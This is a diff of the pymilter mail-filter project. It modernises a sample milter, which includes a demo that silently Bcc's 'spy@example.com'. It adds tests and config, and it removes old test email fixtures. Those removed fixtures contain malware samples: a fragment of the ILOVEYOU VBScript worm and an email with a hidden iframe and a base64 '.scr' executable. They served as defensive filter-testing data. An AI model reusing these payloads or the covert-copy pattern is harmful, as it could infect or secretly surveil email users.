# See the pymilter project at http://bmsi.com/python/milter.html
|
# This is a useless example to show basic features of Milter.
|
||||||
# based on Sendmail's milter API
|
# See the pymilter project at https://pymilter.org based
|
||||||
|
# on Sendmail's milter API
|
||||||
# This code is open-source on the same terms as Python.
|
# This code is open-source on the same terms as Python.
|
||||||
|
|
||||||
## Milter calls methods of your class at milter events.
|
## Milter calls methods of your class at milter events.
|
||||||
@@ -10,21 +11,26 @@
|
|||||||
from __future__ import print_function
|
from __future__ import print_function
|
||||||
import Milter
|
import Milter
|
||||||
try:
|
try:
|
||||||
from StringIO import StringIO
|
from StringIO import StringIO as BytesIO
|
||||||
except:
|
except:
|
||||||
from io import StringIO
|
from io import BytesIO
|
||||||
import time
|
import time
|
||||||
import email
|
import email
|
||||||
|
from email import message_from_binary_file
|
||||||
|
from email import policy
|
||||||
|
import mimetypes
|
||||||
|
import os
|
||||||
import sys
|
import sys
|
||||||
from socket import AF_INET, AF_INET6
|
from socket import AF_INET, AF_INET6
|
||||||
from Milter.utils import parse_addr
|
from Milter.utils import parse_addr
|
||||||
if True:
|
if True:
|
||||||
|
# for logging process - usually not needed
|
||||||
from multiprocessing import Process as Thread, Queue
|
from multiprocessing import Process as Thread, Queue
|
||||||
else:
|
else:
|
||||||
from threading import Thread
|
from threading import Thread
|
||||||
from Queue import Queue
|
from Queue import Queue
|
||||||
|
|
||||||
logq = Queue(maxsize=4)
|
logq = None
|
||||||
|
|
||||||
class myMilter(Milter.Base):
|
class myMilter(Milter.Base):
|
||||||
|
|
||||||
@@ -78,9 +84,10 @@ class myMilter(Milter.Base):
|
|||||||
# NOTE: self.fp is only an *internal* copy of message data. You
|
# NOTE: self.fp is only an *internal* copy of message data. You
|
||||||
# must use addheader, chgheader, replacebody to change the message
|
# must use addheader, chgheader, replacebody to change the message
|
||||||
# on the MTA.
|
# on the MTA.
|
||||||
self.fp = StringIO()
|
self.fp = BytesIO()
|
||||||
self.canon_from = '@'.join(parse_addr(mailfrom))
|
self.canon_from = '@'.join(parse_addr(mailfrom))
|
||||||
self.fp.write('From %s %s\n' % (self.canon_from,time.ctime()))
|
self.fp.write(b'From %s %s\n' % (self.canon_from.encode(),
|
||||||
|
time.ctime().encode()))
|
||||||
return Milter.CONTINUE
|
return Milter.CONTINUE
|
||||||
|
|
||||||
|
|
||||||
@@ -95,12 +102,12 @@ class myMilter(Milter.Base):
|
|||||||
|
|
||||||
@Milter.noreply
|
@Milter.noreply
|
||||||
def header(self, name, hval):
|
def header(self, name, hval):
|
||||||
self.fp.write("%s: %s\n" % (name,hval)) # add header to buffer
|
self.fp.write(b'%s: %s\n' % (name.encode(),hval.encode())) # add header to buffer
|
||||||
return Milter.CONTINUE
|
return Milter.CONTINUE
|
||||||
|
|
||||||
@Milter.noreply
|
@Milter.noreply
|
||||||
def eoh(self):
|
def eoh(self):
|
||||||
self.fp.write("\n") # terminate headers
|
self.fp.write(b'\n') # terminate headers
|
||||||
return Milter.CONTINUE
|
return Milter.CONTINUE
|
||||||
|
|
||||||
@Milter.noreply
|
@Milter.noreply
|
||||||
@@ -110,7 +117,16 @@ class myMilter(Milter.Base):
|
|||||||
|
|
||||||
def eom(self):
|
def eom(self):
|
||||||
self.fp.seek(0)
|
self.fp.seek(0)
|
||||||
msg = email.message_from_file(self.fp)
|
msg = email.message_from_binary_file(self.fp, policy=policy.default)
|
||||||
|
|
||||||
|
#example on how to iterate through attachments
|
||||||
|
for attachment in msg.iter_attachments():
|
||||||
|
#attachment holds the attachment object so that it can be used with a new MIMEMultipart() message
|
||||||
|
self.log("Attachment filename is %s" % (attachment.get_filename(),))
|
||||||
|
self.log("Attachment content/type is %s" % (attachment.get_content_type(),))
|
||||||
|
data = attachment.get_content()
|
||||||
|
self.log("Attachment content is %s" % (data,))
|
||||||
|
|
||||||
# many milter functions can only be called from eom()
|
# many milter functions can only be called from eom()
|
||||||
# example of adding a Bcc:
|
# example of adding a Bcc:
|
||||||
self.addrcpt('<%s>' % 'spy@example.com')
|
self.addrcpt('<%s>' % 'spy@example.com')
|
||||||
@@ -128,13 +144,14 @@ class myMilter(Milter.Base):
|
|||||||
## === Support Functions ===
|
## === Support Functions ===
|
||||||
|
|
||||||
def log(self,*msg):
|
def log(self,*msg):
|
||||||
logq.put((msg,self.id,time.time()))
|
t = (msg,self.id,time.time())
|
||||||
|
if logq:
|
||||||
|
logq.put(t)
|
||||||
|
else:
|
||||||
|
# logmsg(*t)
|
||||||
|
pass
|
||||||
|
|
||||||
def background():
|
def logmsg(msg,id,ts):
|
||||||
while True:
|
|
||||||
t = logq.get()
|
|
||||||
if not t: break
|
|
||||||
msg,id,ts = t
|
|
||||||
print("%s [%d]" % (time.strftime('%Y%b%d %H:%M:%S',time.localtime(ts)),id),
|
print("%s [%d]" % (time.strftime('%Y%b%d %H:%M:%S',time.localtime(ts)),id),
|
||||||
end=None)
|
end=None)
|
||||||
# 2005Oct13 02:34:11 [1] msg1 msg2 msg3 ...
|
# 2005Oct13 02:34:11 [1] msg1 msg2 msg3 ...
|
||||||
@@ -142,12 +159,20 @@ def background():
|
|||||||
print()
|
print()
|
||||||
sys.stdout.flush()
|
sys.stdout.flush()
|
||||||
|
|
||||||
|
def background():
|
||||||
|
while True:
|
||||||
|
t = logq.get()
|
||||||
|
if not t: break
|
||||||
|
logmsg(*t)
|
||||||
|
|
||||||
## ===
|
## ===
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
bt = Thread(target=background)
|
bt = Thread(target=background)
|
||||||
bt.start()
|
bt.start()
|
||||||
socketname = "/home/stuart/pythonsock"
|
# This is NOT a good socket location for production, it is for
|
||||||
|
# playing around. I suggest /var/run/milter/myappnamesock for production.
|
||||||
|
socketname = os.path.expanduser('~/pythonsock')
|
||||||
timeout = 600
|
timeout = 600
|
||||||
# Register to have the Milter factory create instances of your class:
|
# Register to have the Milter factory create instances of your class:
|
||||||
Milter.factory = myMilter
|
Milter.factory = myMilter
|
||||||
@@ -163,4 +188,7 @@ def main():
|
|||||||
print("%s bms milter shutdown" % time.strftime('%Y%b%d %H:%M:%S'))
|
print("%s bms milter shutdown" % time.strftime('%Y%b%d %H:%M:%S'))
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
|
# You probably do not need a logging process, but if you do, this
|
||||||
|
# is one way to do it.
|
||||||
|
logq = Queue(maxsize=4)
|
||||||
main()
|
main()
|
||||||
@@ -3,6 +3,8 @@ import testmime
|
|||||||
import testsample
|
import testsample
|
||||||
import testutils
|
import testutils
|
||||||
import testgrey
|
import testgrey
|
||||||
|
import testcfg
|
||||||
|
import testpolicy
|
||||||
import os
|
import os
|
||||||
|
|
||||||
def suite():
|
def suite():
|
||||||
@@ -11,6 +13,8 @@ def suite():
|
|||||||
s.addTest(testsample.suite())
|
s.addTest(testsample.suite())
|
||||||
s.addTest(testutils.suite())
|
s.addTest(testutils.suite())
|
||||||
s.addTest(testgrey.suite())
|
s.addTest(testgrey.suite())
|
||||||
|
s.addTest(testcfg.suite())
|
||||||
|
s.addTest(testpolicy.suite())
|
||||||
return s
|
return s
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
|
|||||||
+10
@@ -0,0 +1,10 @@
|
|||||||
|
SPF-Pass:example.com OK
|
||||||
|
SPF-Neutral:example.com REJECT
|
||||||
|
HELO-Neutral:example.com OK
|
||||||
|
SPF-Permerror:foo@bad.example.com OK
|
||||||
|
SPF-Permerror: REJECT
|
||||||
|
SMTP-Auth:good@example.com OK
|
||||||
|
SMTP-Auth:example.com REJECT
|
||||||
|
SMTP-Auth:bad@localhost.localdomain REJECT
|
||||||
|
SMTP-Test: REJECT
|
||||||
|
SMTP-Test:.baz.com WILDCARD
|
||||||
@@ -0,0 +1,32 @@
|
|||||||
|
# sample SRS configuration
|
||||||
|
[srs]
|
||||||
|
;secret="shhhh!"
|
||||||
|
;maxage=21
|
||||||
|
;hashlength=5
|
||||||
|
# if defined, SRS uses a database for opaque rewriting
|
||||||
|
;database=/var/log/milter/srsdata
|
||||||
|
# sign these domains using SES to prevent forged bounces instead of SRS
|
||||||
|
;ses = localdomain1.com, localdomain2.org
|
||||||
|
# sign these domains using SRS in signing mode to prevent forged bounces
|
||||||
|
;sign = localdomain1.com, localdomain2.org
|
||||||
|
# rewrite all other domains to this domain using SRS
|
||||||
|
;fwdomain = mydomain.com
|
||||||
|
# additional domains to decode (reverse) srs
|
||||||
|
# NOTE: bms.py in milter package can also do this, as can pysrs.m4 HACK.
|
||||||
|
;srs = otherdomain.com
|
||||||
|
# do not rewrite mail to these domains
|
||||||
|
;nosrs = braindeadmail.com
|
||||||
|
# Treat these localparts as a DSN. Lot's of braindead systems
|
||||||
|
# send non-DSN mail to MAIL FROM.
|
||||||
|
;banned_users = mailer-daemon, clamav, postmaster
|
||||||
|
|
||||||
|
[srsmilter]
|
||||||
|
;datadir=/var/lib/milter
|
||||||
|
socketname = /var/run/milter/srsmilter
|
||||||
|
miltername = pysrsfilter
|
||||||
|
# reject DSNs to unsigned recipients (bounce spam)
|
||||||
|
reject_spoofed = true
|
||||||
|
;trusted_relay = 1.2.3.4
|
||||||
|
internal_connect = 192.168.*.*,127.0.0.1,::1
|
||||||
|
# Enable outgoing SRS via CHGFROM (see code for limitations)
|
||||||
|
miltersrs = false
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
From the-concourse-on-high Sat Feb 2 13:01:43 2019
|
||||||
|
Date: Sat, 02 Feb 2019 19:48:56 +0100
|
||||||
|
To: stuart@[IPv6:fcd9:7f8a:e050:4b48:7fd6:7fa:5509:6e26]
|
||||||
|
Subject: 来自qq.com的退信
|
||||||
|
|
||||||
|
Does you receive this email?
|
||||||
Binary file not shown.
-72
@@ -1,72 +0,0 @@
|
|||||||
Received: from www.bmsi.com (bmsweb.bmsi.com [219.109.11.130])
|
|
||||||
by bmsaix.bmsi.com (8.9.1/8.9.1) with ESMTP id FAA42304
|
|
||||||
for <ed@bmsi.com>; Thu, 4 May 2000 05:22:03 -0400
|
|
||||||
Received: from camco.celestial.com (root@dagney.celestial.com [192.136.111.7])
|
|
||||||
by www.bmsi.com (8.9.1/8.9.1) with ESMTP id FAA21364
|
|
||||||
for <ed@bmsi.com>; Thu, 4 May 2000 05:22:01 -0400
|
|
||||||
Received: (12482 bytes) by camco.celestial.com
|
|
||||||
via sendmail with P:stdio/D:lists/R:inet_hosts/T:smtp
|
|
||||||
(sender: <owner-flexfax@celestial.com> owner: <owner-flexfax-outbound>)
|
|
||||||
id <m12nHjG-000eNHa@camco.celestial.com>
|
|
||||||
for flexfax-outbound; Thu, 4 May 2000 02:15:30 -0700 (PDT)
|
|
||||||
(Smail-3.2.0.111 2000-Feb-17 #1 built 2000-Apr-13)
|
|
||||||
Received: from sgi.com(sgi.SGI.COM[192.48.153.1]) (12116 bytes) by camco.celestial.com
|
|
||||||
via sendmail with P:esmtp/D:aliases/T:pipe
|
|
||||||
(sender: <owner-flexfax@sgi.com> owner: <owner-flexfax>)
|
|
||||||
id <m12nHh6-000eN7C@camco.celestial.com>
|
|
||||||
for <flexfax@celestial.com>; Thu, 4 May 2000 02:13:16 -0700 (PDT)
|
|
||||||
(Smail-3.2.0.111 2000-Feb-17 #1 built 2000-Apr-13)
|
|
||||||
Received: from proxy.internet ([195.184.42.82])
|
|
||||||
by sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam:
|
|
||||||
SGI does not authorize the use of its proprietary
|
|
||||||
systems or networks for unsolicited or bulk email
|
|
||||||
from the Internet.)
|
|
||||||
via ESMTP id CAA02330
|
|
||||||
for <flexfax@sgi.com>; Thu, 4 May 2000 02:13:10 -0700 (PDT)
|
|
||||||
mail_from (orum@ditas.dk)
|
|
||||||
Received: from [172.16.96.14] by proxy.daab.dkproxy.internet (NTMail 4.30.0013/NU4152.00.32401f35) with ESMTP id zmlyaaaa for <flexfax@sgi.com>; Thu, 4 May 2000 11:13:09 +0200
|
|
||||||
Received: by mars with Internet Mail Service (5.5.2650.21)
|
|
||||||
id <KGM63KG3>; Thu, 4 May 2000 11:11:13 +0100
|
|
||||||
Message-ID: <9704D2AA604ED311BF6D0008C79F0A990B57BE@mars>
|
|
||||||
From: =?iso-8859-1?Q?Peter_=D8rum?= <orum@ditas.dk>
|
|
||||||
To: "'flexfax@sgi.com'" <flexfax@sgi.com>
|
|
||||||
Subject: flexfax: ILOVEYOU
|
|
||||||
Date: Thu, 4 May 2000 11:11:11 +0100
|
|
||||||
MIME-Version: 1.0
|
|
||||||
X-Mailer: Internet Mail Service (5.5.2650.21)
|
|
||||||
Content-Type: multipart/mixed;
|
|
||||||
boundary="----_=_NextPart_000_01BFB5B1.13228432"
|
|
||||||
Sender: owner-flexfax@celestial.com
|
|
||||||
Precedence: bulk
|
|
||||||
|
|
||||||
This message is in MIME format. Since your mail reader does not understand
|
|
||||||
this format, some or all of this message may not be legible.
|
|
||||||
|
|
||||||
------_=_NextPart_000_01BFB5B1.13228432
|
|
||||||
Content-Type: text/plain
|
|
||||||
|
|
||||||
|
|
||||||
kindly check the attached LOVELETTER coming from me.
|
|
||||||
|
|
||||||
|
|
||||||
------_=_NextPart_000_01BFB5B1.13228432
|
|
||||||
Content-Type: application/octet-stream;
|
|
||||||
name="LOVE-LETTER-FOR-YOU.TXT.vbs"
|
|
||||||
Content-Transfer-Encoding: quoted-printable
|
|
||||||
Content-Disposition: attachment;
|
|
||||||
filename="LOVE-LETTER-FOR-YOU.TXT.vbs"
|
|
||||||
|
|
||||||
rem barok -loveletter(vbe) <i hate go to school>
|
|
||||||
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / =
|
|
||||||
Manila,Philippines
|
|
||||||
On Error Resume Next
|
|
||||||
set b=3Dfso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
|
|
||||||
b.close
|
|
||||||
set d=3Dfso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
|
|
||||||
d.write dt5
|
|
||||||
d.write join(lines,vbcrlf)
|
|
||||||
d.write vbcrlf
|
|
||||||
d.write dt6
|
|
||||||
d.close
|
|
||||||
end sub
|
|
||||||
------_=_NextPart_000_01BFB5B1.13228432--
|
|
||||||
-127
@@ -1,127 +0,0 @@
|
|||||||
Received: from www.bmsi.com (bmsweb.bmsi.com [219.109.11.130])
|
|
||||||
by bmsaix.bmsi.com (8.12.3/8.12.2) with ESMTP id g41MmROS014480
|
|
||||||
for <stuart@bmsi.com>; Wed, 1 May 2002 18:48:27 -0400
|
|
||||||
Received: from bmsred.bmsi.com (bmsred [219.109.11.50])
|
|
||||||
by www.bmsi.com (8.12.1/8.12.1) with ESMTP id g41MmFGR017812
|
|
||||||
for <stuart@bmsi.com>; Wed, 1 May 2002 18:48:15 -0400
|
|
||||||
X-Received: from www.bmsi.com (bmsweb.bmsi.com [219.109.11.130])
|
|
||||||
by bmsaix.bmsi.com (8.12.3/8.12.2) with ESMTP id g41M3hOS038584
|
|
||||||
for <ed@bmsi.com>; Wed, 1 May 2002 18:03:43 -0400
|
|
||||||
X-Received: from exp.dflinc.com (exppub [12.148.147.210])
|
|
||||||
by www.bmsi.com (8.12.1/8.12.1) with ESMTP id g41M3LGQ017812
|
|
||||||
for <ed@bmsi.com>; Wed, 1 May 2002 18:03:22 -0400
|
|
||||||
X-Received: from exp.dflinc.com (exp.dflinc.com [219.109.14.1])
|
|
||||||
by exp.dflinc.com (8.12.1/8.12.1) with ESMTP id g41M3JGT012258
|
|
||||||
for <ed@bmsi.com>; Wed, 1 May 2002 17:03:19 -0500
|
|
||||||
X-Received: from dns.intervip.psi.br (dns.intervip.psi.br [200.215.126.2])
|
|
||||||
by exp.dflinc.com (8.12.1/8.12.1) with ESMTP id g3NHlhGS032960
|
|
||||||
for <lorraine@dflinc.com>; Tue, 23 Apr 2002 12:47:44 -0500
|
|
||||||
X-Received: from Sncpyf (adsl-fnsbnu-055-k.brt.telesc.net.br [200.180.75.55])
|
|
||||||
by dns.intervip.psi.br (Postfix) with SMTP id 1FAEE24D18
|
|
||||||
for <lorraine@dflinc.com>; Tue, 23 Apr 2002 14:50:41 -0300 (BRT)
|
|
||||||
From: enardelli <enardelli@karsten.com.br>
|
|
||||||
To: lorraine@dflinc.com
|
|
||||||
Subject: A special powful tool
|
|
||||||
MIME-Version: 1.0
|
|
||||||
Content-Type: multipart/alternative;
|
|
||||||
boundary=XQ4T5Cj14m5h2vQ69IpO4mCG
|
|
||||||
Message-Id: <20020423175041.1FAEE24D18@dns.intervip.psi.br>
|
|
||||||
Date: Tue, 23 Apr 2002 14:50:41 -0300 (BRT)
|
|
||||||
X-ReSent-Date: Wed, 1 May 2002 17:03:03 -0500 (CDT)
|
|
||||||
X-ReSent-From: Gwen Bartelle <gwenb@dflinc.com>
|
|
||||||
X-ReSent-To: ed@bmsi.com
|
|
||||||
X-ReSent-Subject: A special powful tool
|
|
||||||
X-ReSent-Message-ID: <Pine.A41.4.10.10205011703030.30638@exp.dflinc.com>
|
|
||||||
ReSent-Date: Wed, 1 May 2002 18:47:52 -0400 (EDT)
|
|
||||||
ReSent-From: Ed Bond <ed@bmsi.com>
|
|
||||||
ReSent-To: Stuart Gathman <stuart@bmsi.com>
|
|
||||||
ReSent-Subject: A special powful tool
|
|
||||||
ReSent-Message-ID: <Pine.LNX.4.44.0205011847520.17454@bmsred.bmsi.com>
|
|
||||||
|
|
||||||
--XQ4T5Cj14m5h2vQ69IpO4mCG
|
|
||||||
Content-Type: text/html;
|
|
||||||
Content-Transfer-Encoding: quoted-printable
|
|
||||||
|
|
||||||
<HTML><HEAD></HEAD><BODY>
|
|
||||||
<iframe src=3Dcid:Ux7VyFy7bTS9q height=3D0 width=3D0>
|
|
||||||
</iframe>
|
|
||||||
<FONT>Hi,This is a special powful tool<br>
|
|
||||||
I wish you would enjoy it.</FONT></BODY></HTML>
|
|
||||||
|
|
||||||
--XQ4T5Cj14m5h2vQ69IpO4mCG
|
|
||||||
Content-Type: audio/x-midi;
|
|
||||||
name=hom1;tile=1;ord=3354010700499224[1].scr
|
|
||||||
Content-Transfer-Encoding: base64
|
|
||||||
Content-ID: <Ux7VyFy7bTS9q>
|
|
||||||
|
|
||||||
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
||||||
CMDDePe/RHj3v5IT+r+Pe/e/kHr3v9Fv97/1Gfq/93H3v1Yc+r/3dve/oGj3v8sK+r+sx/e/
|
|
||||||
Nyz5v7Hu+b98HD==
|
|
||||||
--XQ4T5Cj14m5h2vQ69IpO4mCG
|
|
||||||
--XQ4T5Cj14m5h2vQ69IpO4mCG
|
|
||||||
Content-Type: application/octet-stream;
|
|
||||||
name=hom1;tile=1;ord=3354010700499224[1].htm
|
|
||||||
Content-Transfer-Encoding: base64
|
|
||||||
Content-ID: <Ux7VyFy7bTS9q>
|
|
||||||
|
|
||||||
PGh0bWw+PGhlYWQ+PHRpdGxlPkNsaWNrIGhlcmUgdG8gZmluZCBvdXQgbW9yZSE8L3RpdGxl
|
|
||||||
PjwvaGVhZD4NCjxib2R5PjxTQ1JJUFQgTEFOR1VBR0U9SmF2YVNjcmlwdD4KPCEtLQp2YXIg
|
|
||||||
U2hvY2tNb2RlID0gMDsKaWYgKG5hdmlnYXRvci5taW1lVHlwZXMgJiYgbmF2aWdhdG9yLm1p
|
|
||||||
bWVUeXBlc1siYXBwbGljYXRpb24veC1zaG9ja3dhdmUtZmxhc2giXSAmJiBuYXZpZ2F0b3Iu
|
|
||||||
bWltZVR5cGVzWyJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCJdLmVuYWJsZWRQbHVn
|
|
||||||
aW4pIHsKaWYgKG5hdmlnYXRvci5wbHVnaW5zICYmIG5hdmlnYXRvci5wbHVnaW5zWyJTaG9j
|
|
||||||
a3dhdmUgRmxhc2giXSkKU2hvY2tNb2RlID0gMTsKfQplbHNlIGlmIChuYXZpZ2F0b3IudXNl
|
|
||||||
ckFnZW50ICYmIG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZigiTVNJRSIpPj0wIAomJiAo
|
|
||||||
bmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJXaW5kb3dzIDkiKT49MCB8fCBuYXZpZ2F0
|
|
||||||
b3IudXNlckFnZW50LmluZGV4T2YoIldpbmRvd3MgTlQiKT49MCkpIHsKZG9jdW1lbnQud3Jp
|
|
||||||
dGUoJzxTQ1JJUFQgTEFOR1VBR0U9VkJTY3JpcHRcPiBcbicpOwpkb2N1bWVudC53cml0ZSgn
|
|
||||||
b24gZXJyb3IgcmVzdW1lIG5leHQgXG4nKTsKZG9jdW1lbnQud3JpdGUoJ1Nob2NrTW9kZSA9
|
|
||||||
IChJc09iamVjdChDcmVhdGVPYmplY3QoIlNob2Nrd2F2ZUZsYXNoLlNob2Nrd2F2ZUZsYXNo
|
|
||||||
LjMiKSkpICcpOwpkb2N1bWVudC53cml0ZSgnPFwvU0NSSVBUXD4gJyk7Cn0KaWYgKCBTaG9j
|
|
||||||
a01vZGUgKSB7CmRvY3VtZW50LndyaXRlKCc8T0JKRUNUIGNsYXNzaWQ9ImNsc2lkOkQyN0NE
|
|
||||||
QjZFLUFFNkQtMTFjZi05NkI4LTQ0NDU1MzU0MDAwMCInKTsKZG9jdW1lbnQud3JpdGUoJyBj
|
|
||||||
b2RlYmFzZT0iaHR0cDovL2FjdGl2ZS5tYWNyb21lZGlhLmNvbS9mbGFzaDIvY2Ficy9zd2Zs
|
|
||||||
YXNoLmNhYiN2ZXJzaW9uPTMsMCwwLDAiJyk7CmRvY3VtZW50LndyaXRlKCcgSUQ9YmFubmVy
|
|
||||||
IFdJRFRIPTIzMCBIRUlHSFQ9MjIwPicpOwpkb2N1bWVudC53cml0ZSgnIDxQQVJBTSBOQU1F
|
|
||||||
PW1vdmllIFZBTFVFPSJodHRwOi8vd3d3LnRlcnJhLmNvbS5ici9hZHMvcG9wXzIzMHgyMjBf
|
|
||||||
Z3Z0X3RlbGVmb25lLnN3Zj9jbGlja3RhZz1odHRwOi8vYWQuYnIuZG91YmxlY2xpY2submV0
|
|
||||||
L2NsaWNrJTNCaD12MnwyZGRkfDN8MHwlfHAlM0IzOTI1ODU3JTNCMC0wJTNCMCUzQjY2NjEw
|
|
||||||
MDIlM0IxLTQ2OHw2MCUzQjUwOTkxN3w1MDkyNDR8MSUzQiUzQiUzZmh0dHAlM2ElMmYlMmZ3
|
|
||||||
d3cuZ3Z0Lm5ldC5ici9taWRpYV9wb3B1cHRlcnJhX3Byb21vcG9ydGFsLmpzcCI+ICcpOwpk
|
|
||||||
b2N1bWVudC53cml0ZSgnIDxQQVJBTSBOQU1FPXF1YWxpdHkgVkFMVUU9YXV0b2hpZ2g+ICcp
|
|
||||||
Owpkb2N1bWVudC53cml0ZSgnPEVNQkVEIFNSQz0iaHR0cDovL3d3dy50ZXJyYS5jb20uYnIv
|
|
||||||
YWRzL3BvcF8yMzB4MjIwX2d2dF90ZWxlZm9uZS5zd2Y/Y2xpY2t0YWc9aHR0cDovL2FkLmJy
|
|
||||||
LmRvdWJsZWNsaWNrLm5ldC9jbGljayUzQmg9djJ8MmRkZHwzfDB8JXxwJTNCMzkyNTg1NyUz
|
|
||||||
QjAtMCUzQjAlM0I2NjYxMDAyJTNCMS00Njh8NjAlM0I1MDk5MTd8NTA5MjQ0fDElM0IlM0Il
|
|
||||||
M2ZodHRwJTNhJTJmJTJmd3d3Lmd2dC5uZXQuYnIvbWlkaWFfcG9wdXB0ZXJyYV9wcm9tb3Bv
|
|
||||||
cnRhbC5qc3AiJyk7CmRvY3VtZW50LndyaXRlKCcgc3dMaXZlQ29ubmVjdD1GQUxTRSBXSURU
|
|
||||||
SD0yMzAgSEVJR0hUPTIyMCcpOwpkb2N1bWVudC53cml0ZSgnIFFVQUxJVFk9YXV0b2hpZ2gn
|
|
||||||
KTsKZG9jdW1lbnQud3JpdGUoJyBUWVBFPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFz
|
|
||||||
aCIgUExVR0lOU1BBR0U9Imh0dHA6Ly93d3cubWFjcm9tZWRpYS5jb20vc2hvY2t3YXZlL2Rv
|
|
||||||
d25sb2FkL2luZGV4LmNnaT9QMV9Qcm9kX1ZlcnNpb249U2hvY2t3YXZlRmxhc2giPicpOwpk
|
|
||||||
b2N1bWVudC53cml0ZSgnPC9FTUJFRD4nKTsKZG9jdW1lbnQud3JpdGUoJzwvT0JKRUNUPicp
|
|
||||||
Owp9IGVsc2UgaWYgKCEobmF2aWdhdG9yLmFwcE5hbWUgJiYgbmF2aWdhdG9yLmFwcE5hbWUu
|
|
||||||
aW5kZXhPZigiTmV0c2NhcGUiKT49MCAmJiBuYXZpZ2F0b3IuYXBwVmVyc2lvbi5pbmRleE9m
|
|
||||||
KCIyLiIpPj0wKSl7CmRvY3VtZW50LndyaXRlKCc8QSBIUkVGPSJodHRwOi8vYWQuYnIuZG91
|
|
||||||
YmxlY2xpY2submV0L2NsaWNrJTNCaD12MnwyZGRkfDN8MHwlfHAlM0IzOTI1ODU3JTNCMC0w
|
|
||||||
JTNCMCUzQjY2NjEwMDIlM0IxLTQ2OHw2MCUzQjUwOTkxN3w1MDkyNDR8MSUzQiUzQiUzZmh0
|
|
||||||
dHAlM2ElMmYlMmZ3d3cuZ3Z0Lm5ldC5ici9taWRpYV9wb3B1cHRlcnJhX3Byb21vcG9ydGFs
|
|
||||||
LmpzcCIgVEFSR0VUPSJfYmxhbmsiPjxJTUcgU1JDPSJodHRwOi8vd3d3LnRlcnJhLmNvbS5i
|
|
||||||
ci9hZHMvcG9wXzIzMHgyMjBfZ3Z0X3RlbGVmb25lLmdpZiIgV0lEVEg9MjMwIEhFSUdIVD0y
|
|
||||||
MjAgQk9SREVSPTA+PC9BPicpOwp9Ci8vLS0+CjwvU0NSSVBUPgo8Tk9FTUJFRD48QSBIUkVG
|
|
||||||
PT0iaHR0cDovL2FkLmJyLmRvdWJsZWNsaWNrLm5ldC9jbGljayUzQmg9djJ8MmRkZHwzfDB8
|
|
||||||
JXxwJTNCMzkyNTg1NyUzQjAtMCUzQjAlM0I2NjYxMDAyJTNCMS00Njh8NjAlM0I1MDk5MTd8
|
|
||||||
NTA5MjQ0fDElM0IlM0IlM2ZodHRwJTNhJTJmJTJmd3d3Lmd2dC5uZXQuYnIvbWlkaWFfcG9w
|
|
||||||
dXB0ZXJyYV9wcm9tb3BvcnRhbC5qc3AiIFRBUkdFVD0iX2JsYW5rIj48SU1HIFNSQz0iaHR0
|
|
||||||
cDovL3d3dy50ZXJyYS5jb20uYnIvYWRzL3BvcF8yMzB4MjIwX2d2dF90ZWxlZm9uZS5naWYi
|
|
||||||
IFdJRFRIPTIzMCBIRUlHSFQ9MjIwIEJPUkRFUj0wPjwvQT48L05PRU1CRUQ+CjxOT1NDUklQ
|
|
||||||
VD48QSBIUkVGPT0iaHR0cDovL2FkLmJyLmRvdWJsZWNsaWNrLm5ldC9jbGljayUzQmg9djJ8
|
|
||||||
MmRkZHwzfDB8JXxwJTNCMzkyNTg1NyUzQjAtMCUzQjAlM0I2NjYxMDAyJTNCMS00Njh8NjAl
|
|
||||||
M0I1MDk5MTd8NTA5MjQ0fDElM0IlM0IlM2ZodHRwJTNhJTJmJTJmd3d3Lmd2dC5uZXQuYnIv
|
|
||||||
bWlkaWFfcG9wdXB0ZXJyYV9wcm9tb3BvcnRhbC5qc3AiIFRBUkdFVD0iX2JsYW5rIj48SU1H
|
|
||||||
IFNSQz0iaHR0cDovL3d3dy50ZXJyYS5jb20uYnIvYWRzL3BvcF8yMzB4MjIwX2d2dF90ZWxl
|
|
||||||
Zm9uZS5naWYiIFdJRFRIPTIzMCBIRUlHSFQ9MjIwIEJPUkRFUj0wPjwvQT48L05PU0NSSVBU
|
|
||||||
PjwvYm9keT4NCjwvaHRtbD
|
|
||||||
--XQ4T5Cj14m5h2vQ69IpO4mCG--
|
|
||||||
|
|
||||||
|
|
||||||
-90
@@ -1,90 +0,0 @@
|
|||||||
Received: from www.bmsi.com (bmsweb.bmsi.com [219.109.11.130])
|
|
||||||
by bmsaix.bmsi.com (8.9.1/8.9.1) with ESMTP id QAA24094
|
|
||||||
for <ed@bmsi.com>; Fri, 12 Jan 2001 16:30:00 -0500
|
|
||||||
Received: from jscaix.jsconnor.com (jscaix [209.193.177.106])
|
|
||||||
by www.bmsi.com (8.9.1/8.9.1) with ESMTP id QAA30044
|
|
||||||
for <ed@bmsi.com>; Fri, 12 Jan 2001 16:29:54 -0500
|
|
||||||
Received: from connor.jsconnor.com (connor.jsconnor.com [192.168.100.15])
|
|
||||||
by jscaix.jsconnor.com (8.9.1/8.9.1) with ESMTP id QAA12022
|
|
||||||
for <ed@bmsi.com>; Fri, 12 Jan 2001 16:31:51 -0500
|
|
||||||
X-Received: from goodspeed2.apical.com (ns1.apical.com [209.150.15.130])
|
|
||||||
by jscaix.jsconnor.com (8.9.1/8.9.1) with ESMTP id HAA36550
|
|
||||||
for <carrollf@jsconnor.com>; Fri, 12 Jan 2001 07:19:10 -0500
|
|
||||||
X-Received: from SalCanino (cz-cblk-150-16-32.cyberzone.net [209.150.16.32])
|
|
||||||
by goodspeed2.apical.com (8.9.3/8.9.3) with SMTP id HAA14946
|
|
||||||
for <carrollf@jsconnor.com>; Fri, 12 Jan 2001 07:16:37 -0500
|
|
||||||
Reply-To: <sal.canino@innovativeconcepts.com>
|
|
||||||
From: "Sal Canino" <sal.canino@innovativeconcepts.com>
|
|
||||||
